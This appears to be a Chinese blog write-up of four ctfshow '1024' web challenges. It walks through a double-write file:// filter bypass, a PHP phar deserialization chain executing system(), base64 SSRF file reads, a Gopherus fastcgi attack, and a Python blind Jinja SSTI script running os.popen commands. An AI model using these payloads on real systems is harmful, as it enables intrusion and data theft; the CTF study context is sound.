当前位置: 首页 > news >正文

ctfshow—1024系列练习

1024 柏拉图

image.png
有点像rce远程执行,有四个按钮,分别对应四份php文件,开始搞一下。
一开始,先要试探出 文件上传到哪里? 怎么读取上传的文件?

第一步:试探上传文件位置

直接用burp抓包,就可以知道文件存储位置。

文件存储在: upload/XXXX

image.png

第二步:如何查看这些上传的文件

或者说如何利用

直接抄别人的流程

/etc/passwd 没有回显
file:///etc/passwd 没有回显
php://filter/convert.BaSe64-eNcoDe/resource=/etc/passwd 被waf
fifilele:///etc/passwd 没有回显
fifile://le:///etc/passwd 回显成功,这里看来是双写绕过

查看文件:通过双写绕过
playload:fifile://le://XXX(xxx路径:/var/run/xxx.php)

应该是要我们查看什么文件
五份文件:index.php、upload.php、readfile.php、unlink.php、class.php
fifile://le:///var/www/html/readfile.php

<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-19 20:09:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
function curl($url){  $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}
if(isset($_GET['url'])){$url = $_GET['url'];$bad = 'file://';if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match)){die('难道我不知道你在想什么?除非绕过我?!');}else{$url=str_replace($bad,"",$url);curl($url);}
}
?>

会过滤这些字符

'/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is'

第三步:反序列化攻击

在这里,readfile函数过滤不严谨,我们可以通过phar进行反序列化攻击。

<?php
error_reporting(0);
class A {public $a;public function __construct($a){$this->a = $a;}
//    public function __destruct()
//    {
//        echo "THI IS CTFSHOW".$this->a;
//    }
}
class B {public $b;public function __construct($b){$this->b = $b;}public function __toString(){return ($this->b)();}
}
class C{public $c;public function __construct($c){$this->c = $c;}public function __invoke(){return eval($this->c);}
}
$a=new A('');
$b=new B('');
$c=new C('');
$c->c='system("ls /");';
$b->b=$c;
$a->a=$b;@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

在本机执行上面的php文件,然后修改为 phar.gif,绕过上传检验
开始playload,burp抓包,输入执行指令,就可以看到根目录的文件。

compress.zlib://phar:///var/www/html/upload/phar.gif

image.png

ls / 修改成 cat /ctfshow_1024_flag.txt
image.png
这里有一个坑:之前上传的是phar.gif,后面上传的文件就不能是同名了,需要修改文件名,不然,只能显示原始页面。

小结

info 基本流程

  • 需要确定怎么绕过首页的URL,查看到系统文件,制定playload;
  • 判断上传文件后的位置在哪里
  • 需要用什么攻击手段——存在读取函数,可以用反序列化攻击

攻击原理

  • 序列化一个恶意内容的文件,并上传到系统服务器;
  • 通过readfile函数,反序列化不安全文件,实现攻击

参考文献

  • 【1024杯】web_coleak的博客-CSDN博客

1024 签到

进入页面,可以看到这个代码

error_reporting(0);
highlight_file(__FILE__); //用 PHP 的内置函数 highlight_file 来显示当前文件的源代码
call_user_func($_GET['f']); //用 PHP 的内置函数 call_user_func 来调用一个用户定义的回调函数

这段代码就是在告诉我们,可以通过调用回调函数,进行访问。

playload:url?f=XXX函数

想不到其他函数,先试下phpinfo,看到了支持ctfshow_1024
image.png
直接访问下这个函数,就可以看到flag
image.png

1024 图片

点击列表后,先抓个包,会发现一个链接
image.png
这个参数加密的方式有点像Base64加密,先解析下密,发现这里直接显示链接,里面包含有图片路径
image.png

奇思妙想:是否有一些图片绕过指令,有关于文件读取的ssrf,那不就是文件包含读取!!!

直接构建playload,作用是读取下passwd文件,记得要base64编码下

file://etc/passwd   # 编码前
ZmlsZTovL2V0Yy9wYXNzd2Q= //编码后

直接放包,查看效果,发现成功了,说明思路没问题的,直接开搞!!!
image.png

关键点2: 有一个nginx配置设置,说明这个使用nginx搭建的,直接联想到nginx的配置文件/etc/nginx/nginx.conf

查看nignx的配置文件
image.png

file://etc/nginx/nginx.conf // playload
ZmlsZTovL2V0Yy9uZ2lueC9uZ2lueC5jb25m // 编码后

burp放包,查看有什么信息可以查看,在这里提示,我们有一个自定义的配置文件,并不是走默认的nginx配置文件。

/etc/ngiinx/conf.d/*.conf

image.png
重新构建下playload

file://etc/nginx/conf.d/default.conf //编码前

验收下成功
image.png
其中的关键信息关键信息,说明开放了接口 9000,可以利用ssrf攻击

root         /var/www/bushihtml;
index        index.php index.html;
fastcgi_pass   127.0.0.1:9000;

最后一步:借助Gopher,打fastcgi,实现ssrf攻击

Gopher:https://github.com/tarunkant/Gopherus
image.png
输入读取的路径: /var/www/bushihtml/index.html
执行指令: ls /
base64编码下
image.png

放包操作,查看结果
image.png
好像少了什么东西,看看题目有没有提示,添加上去即可
image.png

参考文献

  • ctfshow_1024-CSDN博客
  • SSRF利用 Gopher 协议拓展攻击面_https://www.ibus2333.com/novel/chapter/311_62f7cf7-CSDN博客

1024 hello_world

需要用post请求,加多一个参数key,可以输出自己想要的结果,这不就是SSIT结构注入攻击吗,开搞
image.png

key={%if []!=1%}wdnmd{%endif%}

image.png

构建playload

"""
Author:Lucky_bacon
Tool:Pycham、python3
"""
import requests
import string
if __name__ == '__main__':abt = string.ascii_lowercase + string.digits + '-_{}'url = 'http://e32219a2-efc5-4fa1-b4ee-5791e7fdb27b.challenge.ctf.show/'cmd = 'ls /'ans = ''for i in range(0, 80):for le in abt:payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(i) + ']=="' + le + '"%}yoyo{%endif%}'data = {'key': payload}r = requests.post(url, data)if 'yoyo' in r.text:ans += leprint('ans = ' + ans)break

image.png

将指令换成 cat /ctfshow*
image.png
image.png

http://www.lryc.cn/news/181402.html

相关文章:

  • javaWeb学生信息管理
  • 玩转gpgpu-sim 04记—— __cudaRegisterBinary() of gpgpu-sim 到底做了什么
  • S-Clustr(影子集群)僵尸网络@Мартин.
  • 认识PostgreSQL
  • 基本的五大排序算法
  • 封装api的理解
  • Unity实现设计模式——命令模式
  • 四、YApi的安装和配置
  • JAVA学习(2)-全网最详细~
  • MySQL学习笔记27
  • 数据结构与算法之字典: Leetcode 76. 最小覆盖子串 (Typescript版)
  • 2023-10-03 VsCode诡异消失事件
  • elementPlus表格组件el-table实现只能同时选择一行,全选按第一行处理
  • 栈的应用场景(三)
  • leetCode 45.跳跃游戏 II 贪心算法
  • 【MATLAB-基于直方图优化的图像去雾技术】
  • 读书笔记|《数据压缩入门》—— 柯尔特·麦克安利斯 亚历克斯·海奇
  • Pandas进阶修炼120题-第五期(一些补充,101-120题)
  • NPDP产品经理知识(产品创新管理)
  • Flutter+SpringBoot实现ChatGPT流实输出
  • 淘宝天猫粉丝福利购店铺优惠券去哪里找到领取网站?
  • 【考研复习】union有关的输出问题
  • Android学习之路(16) Android 数据库Litepal
  • Redis持久化(RDB/AOF)
  • 小谈设计模式(15)—观察者模式
  • 简单工厂模式 创建型模式(非GoF经典设计模式)
  • PE文件之导入表
  • 二、码制及其转换
  • 在pycharm中出现下载软件包失败的解决方法
  • 10.0 探索API调试事件原理